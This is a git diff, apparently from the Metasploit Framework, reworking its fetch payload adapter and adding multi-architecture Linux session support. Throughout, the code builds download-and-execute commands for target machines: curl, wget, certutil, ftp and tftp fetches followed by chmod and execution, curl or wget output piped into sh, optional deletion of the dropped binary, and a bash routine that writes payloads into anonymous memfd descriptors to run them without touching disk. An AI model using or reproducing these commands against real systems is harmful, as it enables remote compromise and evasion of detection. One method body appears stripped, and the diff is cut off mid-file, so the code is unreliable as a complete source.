diff --git a/lib/msf/base/sessions/meterpreter_multi_linux.rb b/lib/msf/base/sessions/meterpreter_multi_linux.rb new file mode 100644 index 0000000000000..c87af9565cb93 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_multi_linux.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- + +module Msf + module Sessions + ### + # + # This class creates a platform-specific, architecture agnostic meterpreter session type + # + ### + class MeterpreterMultiLinux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + + def supports_zlib? + false + end + + def initialize(rstream, opts = {}) + super + self.base_platform = 'linux' + self.base_arch = ARCH_ANY # will be populated automatically + end + end + end +end diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index f8f2d2407c842..204924de47014 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,446 +1,411 @@ -module Msf::Payload::Adapter::Fetch - def initialize(*args) - super - register_options( - [ - Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), - Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), - # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set - Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), - Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), - ] - ) - register_advanced_options( - [ - Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), - Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), - Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) - ] - ) - @fetch_service = nil - @myresources = [] - @srvexe = '' - @pipe_uri = nil - @pipe_cmd = nil - @remote_destination_win = nil - @remote_destination_nix = nil - @windows = nil - end - - # If no fetch URL is provided, we generate one based off the underlying payload data - # This is because if we use a randomly-generated URI, the URI generated by venom and - # Framework will not match. This way, we can build a payload in venom and a listener - # in Framework, and if the underlying payload type/host/port are the same, the URI - # will be, too. +module Msf + ### # - def default_srvuri(extra_data = nil) - # If we're in framework, payload is in datastore; msfvenom has it in refname - payload_name = datastore['payload'] ||= refname - decoded_uri = payload_name.dup - # there may be no transport, so leave the connection string off if that's the case - netloc = '' - if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL' - netloc << datastore['LHOST'] unless datastore['LHOST'].blank? - unless datastore['LPORT'].blank? - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{datastore['LPORT']}" - else - netloc = "#{netloc}:#{datastore['LPORT']}" - end + # Common library for fetch-based payloads + # + ### + module Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Fileless + include Msf::Payload::Adapter::Fetch::Multi + include Msf::Payload::Adapter::Fetch::Pipe + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), + Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), + # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']), + Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), + ] + ) + register_advanced_options( + [ + Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), + Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) + ] + ) + # XXX Maybe add a method to the parent single payload mixin to do this instead? + # Need to remove the REQUESTED_ARCH datastore value and replace it with the bruteforce option. + if datastore.include?('REQUESTED_ARCH') + datastore['FETCH_PIPE'] = true + register_options( + [ + Msf::OptBool.new('FETCH_BRUTEFORCE', [true, 'Attempt all possible payloads if none match.', false]) + ] + ) + deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') end - elsif module_info['ConnectionType'].upcase == 'BIND' - netloc << datastore['LHOST'] unless datastore['LHOST'].blank? - unless datastore['RPORT'].blank? - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{datastore['RPORT']}" - else - netloc = "#{netloc}:#{datastore['RPORT']}" + @fetch_service = nil + @multi_arch = nil # used to make sure the payload UUID is generated with the right arch + @myresources = [] # files currently being serveed + @srv_resources = [] # stuff we want to serve + @remote_destination_win = nil + @remote_destination_nix = nil + @windows = nil + end + + # If no fetch URL is provided, we generate one based off the underlying payload data + # This is because if we use a randomly-generated URI, the URI generated by venom and + # Framework will not match. This way, we can build a payload in venom and a listener + # in Framework, and if the underlying payload type/host/port are the same, the URI + # will be, too. + # + # This has been expanded to take a variable to tack onto the end before hashing, so we + # can generate deterministic URIs on the fly. + def default_srvuri(extra_data = nil) + # If we're in framework, payload is in datastore; msfvenom has it in refname + payload_name = datastore['payload'] ||= refname + decoded_uri = payload_name.dup + # there may be no transport, so leave the connection string off if that's the case + netloc = '' + if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['LPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['LPORT']}" + else + netloc = "#{netloc}:#{datastore['LPORT']}" + end + end + elsif module_info['ConnectionType'].upcase == 'BIND' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['RPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['RPORT']}" + else + netloc = "#{netloc}:#{datastore['RPORT']}" + end end end + decoded_uri << ";#{netloc}" + decoded_uri << ";#{extra_data}" unless extra_data.nil? + Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false) end - decoded_uri << ";#{netloc}" - decoded_uri << ";#{extra_data}" unless extra_data.nil? - Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false) - end - def download_uri - "#{srvnetloc}/#{srvuri}" - end - - def _download_pipe - "#{srvnetloc}/#{@pipe_uri}" - end + def download_uri(uri) + "#{srvnetloc}/#{uri}" + end - def fetch_bindhost - datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress'] - end + def fetch_bindhost + datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress'] + end - def fetch_bindport - datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] - end + def fetch_bindport + datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] + end - def fetch_bindnetloc - Rex::Socket.to_authority(fetch_bindhost, fetch_bindport) - end + def fetch_bindnetloc + Rex::Socket.to_authority(fetch_bindhost, fetch_bindport) + end - def pipe_supported_binaries - # this is going to expand when we add psh support - return %w[CURL] if windows? - %w[WGET CURL] - end + def add_srv_entry(uri, data, arch = ARCH_CMD) + srv_entry = { + :arch => arch, + :uri => uri, + :data => data + } + @srv_resources << srv_entry + end - def generate(opts = {}) - opts[:arch] ||= module_info['AdaptedArch'] - opts[:code] = super - @srvexe = generate_payload_exe(opts) - if datastore['FETCH_PIPE'] - unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) - fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + def generate(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' + # create a hash with all the arches and payloads + multi_arches.each do |arch| + opts[:arch] = arch + @multi_arch = arch # needed for payload_uuid creation + vprint_status("Generating payload for #{arch}") + opts[:code] = super(opts) + # no FETCH_URIPATH support for multi payloads + add_srv_entry(default_srvuri(arch.to_s), generate_payload_exe(opts), arch) + end + cmd = _generate_multi_commands(@srv_resources) + # print_status("multi command:\n#{cmd}") + if datastore['FETCH_PIPE'] + unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + add_srv_entry(pipe_srvuri, cmd) + cmd = generate_pipe_command(pipe_srvuri) + print_status("Pipe command: #{cmd}") + end + else + opts[:code] = super + add_srv_entry(srvuri, generate_payload_exe(opts), opts[:arch]) + cmd = generate_fetch_commands(srvuri) + if datastore['FETCH_PIPE'] + unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + cmd << '\n' if windows? # Needs CR for Windows command + add_srv_entry(pipe_srvuri, cmd) + cmd = generate_pipe_command(pipe_srvuri) + end end - @pipe_cmd = generate_fetch_commands - @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows - vprint_status("Command served: #{@pipe_cmd}") - cmd = generate_pipe_command - else - cmd = generate_fetch_commands - end - vprint_status("Command to run on remote host: #{cmd}") - cmd - end - - def generate_pipe_command - # TODO: Make a check method that determines if we support a platform/server/command combination - @pipe_uri = pipe_srvuri - - case datastore['FETCH_COMMAND'].upcase - when 'WGET' - return _generate_wget_pipe - when 'CURL' - return _generate_curl_pipe - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + vprint_status("Command to execute on target: #{cmd}") + cmd end - end - def generate_fetch_commands - # TODO: Make a check method that determines if we support a platform/server/command combination - # - case datastore['FETCH_COMMAND'].upcase - when 'FTP' - return _generate_ftp_command - when 'TNFTP' - return _generate_tnftp_command - when 'WGET' - return _generate_wget_command - when 'CURL' - return _generate_curl_command - when 'TFTP' - return _generate_tftp_command - when 'CERTUTIL' - return _generate_certutil_command - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + def generate_fetch_commands(uri) + # TODO: Make a check method that determines if we support a platform/server/command combination + # + case datastore['FETCH_COMMAND'].upcase + when 'FTP' + return _generate_ftp_command(uri) + when 'TNFTP' + return _generate_tnftp_command(uri) + when 'WGET' + return _generate_wget_command(uri) + when 'CURL' + return _generate_curl_command(uri) + when 'TFTP' + return _generate_tftp_command(uri) + when 'CERTUTIL' + return _generate_certutil_command(uri) + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end end - end - - def generate_stage(opts = {}) - opts[:arch] ||= module_info['AdaptedArch'] - super - end - def generate_payload_uuid(conf = {}) - conf[:arch] ||= module_info['AdaptedArch'] - conf[:platform] ||= module_info['AdaptedPlatform'] - super - end - - def handle_connection(conn, opts = {}) - opts[:arch] ||= module_info['AdaptedArch'] - super - end + def generate_stage(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? + super + end - def srvhost - host = datastore['FETCH_SRVHOST'] - host = datastore['LHOST'] if host.blank? - host = '127.127.127.127' if host.blank? - host - end + def generate_payload_uuid(conf = {}) + conf[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? + conf[:platform] ||= module_info['AdaptedPlatform'] + super + end - def srvnetloc - Rex::Socket.to_authority(srvhost, srvport) - end + def handle_connection(conn, opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end - def srvport - datastore['FETCH_SRVPORT'] - end + def srvhost + host = datastore['FETCH_SRVHOST'] + host = datastore['LHOST'] if host.blank? + host = '127.127.127.127' if host.blank? + host + end - def srvuri - # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command - return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank? + def srvnetloc + Rex::Socket.to_authority(srvhost, srvport) + end - datastore['FETCH_URIPATH'] - end + def srvport + datastore['FETCH_SRVPORT'] + end - def pipe_srvuri - return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + def srvuri + # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command + return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank? - default_srvuri('pipe') - end + datastore['FETCH_URIPATH'] + end - def windows? - return @windows unless @windows.nil? + def windows? + return @windows unless @windows.nil? - @windows = platform.platforms.first == Msf::Module::Platform::Windows - @windows - end - - def linux? - return @linux unless @linux.nil? + @windows = platform.platforms.first == Msf::Module::Platform::Windows + @windows + end - @linux = platform.platforms.first == Msf::Module::Platform::Linux - @linux - end + def linux? + return @linux unless @linux.nil? - def _check_tftp_port - # Most tftp clients do not have configurable ports - if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? - print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client') + @linux = platform.platforms.first == Msf::Module::Platform::Linux + @linux end - end - def _check_tftp_file - # Older Linux tftp clients do not support saving the file under a different name - unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank? - print_error('The Linux TFTP client does not support saving a file under a different name than the URI.') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client') + def _check_tftp_port + # Most tftp clients do not have configurable ports + if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? + print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client') + end end - end - # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb - def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) - comm = nil - - case srv_comm - when 'local' - comm = ::Rex::Socket::Comm::Local - when /\A-?[0-9]+\Z/ - comm = framework.sessions.get(srv_comm.to_i) - raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm - raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm - when nil, '' - unless ip.nil? - comm = Rex::Socket::SwitchBoard.best_comm(ip) + def _check_tftp_file + # Older Linux tftp clients do not support saving the file under a different name + unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank? + print_error('The Linux TFTP client does not support saving a file under a different name than the URI.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client') end - else - raise("SocketServer Comm '#{srv_comm}' is invalid") end - comm || ::Rex::Socket::Comm::Local - end - - def _execute_add(get_file_cmd) - return _execute_win(get_file_cmd) if windows? - - return _execute_nix(get_file_cmd) - end - - def _execute_win(get_file_cmd) - cmds = " & start /B #{_remote_destination_win}" - cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] - get_file_cmd << cmds - end + # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb + def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) + comm = nil + + case srv_comm + when 'local' + comm = ::Rex::Socket::Comm::Local + when /\A-?[0-9]+\Z/ + comm = framework.sessions.get(srv_comm.to_i) + raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm + raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + when nil, '' + unless ip.nil? + comm = Rex::Socket::SwitchBoard.best_comm(ip) + end + else + raise("SocketServer Comm '#{srv_comm}' is invalid") + end - def _execute_nix(get_file_cmd) - return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' - return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' + comm || ::Rex::Socket::Comm::Local + end + def _execute_add(get_file_cmd) + return _execute_win(get_file_cmd) if windows? - cmds = get_file_cmd - cmds << ";chmod +x #{_remote_destination_nix}" - cmds << ";#{_remote_destination_nix}&" - cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] - cmds - end + return _execute_nix(get_file_cmd) + end - def _generate_certutil_command - case fetch_protocol - when 'HTTP' - get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" - when 'HTTPS' - # I don't think there is a way to disable cert check in certutil.... - print_error('CERTUTIL binary does not support insecure mode') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') - get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - _execute_add(get_file_cmd) - end + def _execute_win(get_file_cmd) + cmds = " & start /B #{_remote_destination_win}" + cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] + get_file_cmd << cmds + end - # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor - def _generate_fileless(get_file_cmd) - # get list of all $USER's processes - cmd = 'FOUND=0' - cmd << ";for i in $(ps -u $USER | awk '{print $1}')" - # already found anonymous file where we can write - cmd << '; do if [ $FOUND -eq 0 ]' - - # look for every symbolic link with write rwx permissions - # if found one, try to download payload into the anonymous file - # and execute it - cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' - cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" - cmd << '; then $f' - cmd << '; FOUND=1' - cmd << '; break' - cmd << '; fi' - cmd << '; fi' - cmd << '; done' - cmd << '; fi' - cmd << '; done' - - cmd - end - - # same idea as _generate_fileless function, but force creating anonymous file handle - def _generate_fileless_python(get_file_cmd) - %Q - end + def _execute_nix(get_file_cmd) + return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' + return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' - def _generate_curl_command - case fetch_protocol - when 'HTTP' - get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}" - when 'HTTPS' - get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}" - when 'TFTP' - get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - _execute_add(get_file_cmd) - end + cmds = get_file_cmd + cmds << ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds + end - def _generate_curl_pipe - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? - case fetch_protocol - when 'HTTP' - return "curl -s http://#{_download_pipe}|#{execute_cmd}" - when 'HTTPS' - return "curl -sk https://#{_download_pipe}|#{execute_cmd}" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + def _generate_certutil_command(uri) + case fetch_protocol + when 'HTTP' + get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}" + when 'HTTPS' + # I don't think there is a way to disable cert check in certutil.... + print_error('CERTUTIL binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') + get_file_cmd = "certutil -urlcache -f https://#{download_uri(uri)} #{_remote_destination}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _execute_add(get_file_cmd) end - end - def _generate_ftp_command - case fetch_protocol - when 'FTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" - when 'HTTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" - when 'HTTPS' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - _execute_add(get_file_cmd) - end + def _generate_curl_command(uri) + case fetch_protocol + when 'HTTP' + get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}" + when 'HTTPS' + get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}" + when 'TFTP' + get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _execute_add(get_file_cmd) + end - def _generate_tftp_command - _check_tftp_port - case fetch_protocol - when 'TFTP' - if windows? - fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}") + def _generate_ftp_command(uri) + case fetch_protocol + when 'FTP' + get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" + when 'HTTP' + get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" + when 'HTTPS' + get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" else - _check_tftp_file - if datastore['FETCH_FILELESS'] != 'none' && linux? - return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}") + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _execute_add(get_file_cmd) + end + + def _generate_tftp_command(uri) + _check_tftp_port + case fetch_protocol + when 'TFTP' + if windows? + fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") else - fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + _check_tftp_file + if datastore['FETCH_FILELESS'] != 'none' && linux? + return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}") + else + fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + end end + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + fetch_command end - fetch_command - end - def _generate_tnftp_command - case fetch_protocol - when 'FTP' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" - when 'HTTP' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}" - when 'HTTPS' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') - end - _execute_add(get_file_cmd) - end - - def _generate_wget_command - case fetch_protocol - when 'HTTPS' - get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" - when 'HTTP' - get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}" - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + def _generate_tnftp_command(uri) + case fetch_protocol + when 'FTP' + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" + when 'HTTP' + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" + when 'HTTPS' + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + _execute_add(get_file_cmd) end - _execute_add(get_file_cmd) - end + def _generate_wget_command(uri) + case fetch_protocol + when 'HTTPS' + get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}" + when 'HTTP' + get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end - def _generate_wget_pipe - case fetch_protocol - when 'HTTPS' - return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh" - when 'HTTP' - return "wget -qO- http://#{_download_pipe}|sh" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + _execute_add(get_file_cmd) end - end - def _remote_destination - return _remote_destination_win if windows? + def _remote_destination + return _remote_destination_win if windows? - return _remote_destination_nix - end + return _remote_destination_nix + end - def _remote_destination_nix - return @remote_destination_nix unless @remote_destination_nix.nil? + def _remote_destination_nix - if datastore['FETCH_FILELESS'] != 'none' - @remote_destination_nix = '$f' - else + if datastore['FETCH_FILELESS'] != 'none' + @remote_destination_nix = '$f' + else + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir = '.' if writable_dir.blank? + writable_dir += '/' unless writable_dir[-1] == '/' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + @remote_destination_nix = payload_path + end + @remote_destination_nix + end + + def _remote_destination_win writable_dir = datastore['FETCH_WRITABLE_DIR'] - writable_dir = '.' if writable_dir.blank? - writable_dir += '/' unless writable_dir[-1] == '/' + writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' payload_filename = datastore['FETCH_FILENAME'] payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename - @remote_destination_nix = payload_path + payload_path += '.exe' unless payload_path[-4..] == '.exe' + @remote_destination_win = payload_path + @remote_destination_win end - @remote_destination_nix - end - - def _remote_destination_win - return @remote_destination_win unless @remote_destination_win.nil? - - writable_dir = datastore['FETCH_WRITABLE_DIR'] - writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' - payload_filename = datastore['FETCH_FILENAME'] - payload_filename = srvuri if payload_filename.blank? - payload_path = writable_dir + payload_filename - payload_path += '.exe' unless payload_path[-4..] == '.exe' - @remote_destination_win = payload_path - @remote_destination_win end end diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb new file mode 100644 index 0000000000000..80729f4ea9b19 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -0,0 +1,39 @@ +module Msf + ### + # + # Common library for http fetch-based payloads + # + ### + module Payload::Adapter::Fetch::Fileless + # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor + def _generate_fileless(get_file_cmd) + # get list of all $USER's processes + cmd = 'FOUND=0' + cmd << ";for i in $(ps -u $USER | awk '{print $1}')" + # already found anonymous file where we can write + cmd << '; do if [ $FOUND -eq 0 ]' + + # look for every symbolic link with write rwx permissions + # if found one, try to download payload into the anonymous file + # and execute it + cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' + cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' + cmd << "; then if $(#{get_file_cmd} >/dev/null)" + cmd << '; then $f' + cmd << '; FOUND=1' + cmd << '; break' + cmd << '; fi' + cmd << '; fi' + cmd << '; done' + cmd << '; fi' + cmd << '; done' + + cmd + end + + # same idea as _generate_fileless function, but force creating anonymous file handle + def _generate_fileless_python(get_file_cmd) + % + end + end +end diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 24b4111769859..24e44f69ad789 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -1,33 +1,38 @@ -module Msf::Payload::Adapter::Fetch::HTTP +module Msf + ### + # + # Common library for http fetch-based payloads + # + ### + module Payload::Adapter::Fetch::HTTP + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::HTTP - include Msf::Exploit::EXE - include Msf::Payload::Adapter - include Msf::Payload::Adapter::Fetch - include Msf::Payload::Adapter::Fetch::Server::HTTP + def initialize(*args) + super + end - def initialize(*args) - super - end + def cleanup_handler + if @fetch_service + cleanup_http_fetch_service(@fetch_service, @myresources) + @fetch_service = nil + end - def cleanup_handler - if @fetch_service - cleanup_http_fetch_service(@fetch_service, @myresources) - @fetch_service = nil + super end - super - end - - def setup_handler - unless datastore['FetchHandlerDisable'] - @fetch_service = start_http_fetch_handler(srvname) - escaped_uri = ('/' + srvuri).gsub('//', '/') - add_resource(@fetch_service, escaped_uri, @srvexe) - unless @pipe_uri.nil? - uri = ('/' + @pipe_uri).gsub('//', '/') - add_resource(@fetch_service, uri, @pipe_cmd) + def setup_handler + unless datastore['FetchHandlerDisable'] + @fetch_service = start_http_fetch_handler(srvname) + @srv_resources.each do |srv_data| + escaped_uri = ('/' + srv_data[:uri]).gsub('//', '/') + @myresources << escaped_uri + add_resource(@fetch_service, escaped_uri, srv_data[:data]) + end end + super end - super end end diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index 5c587eda43b51..5a973210387aa 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -21,11 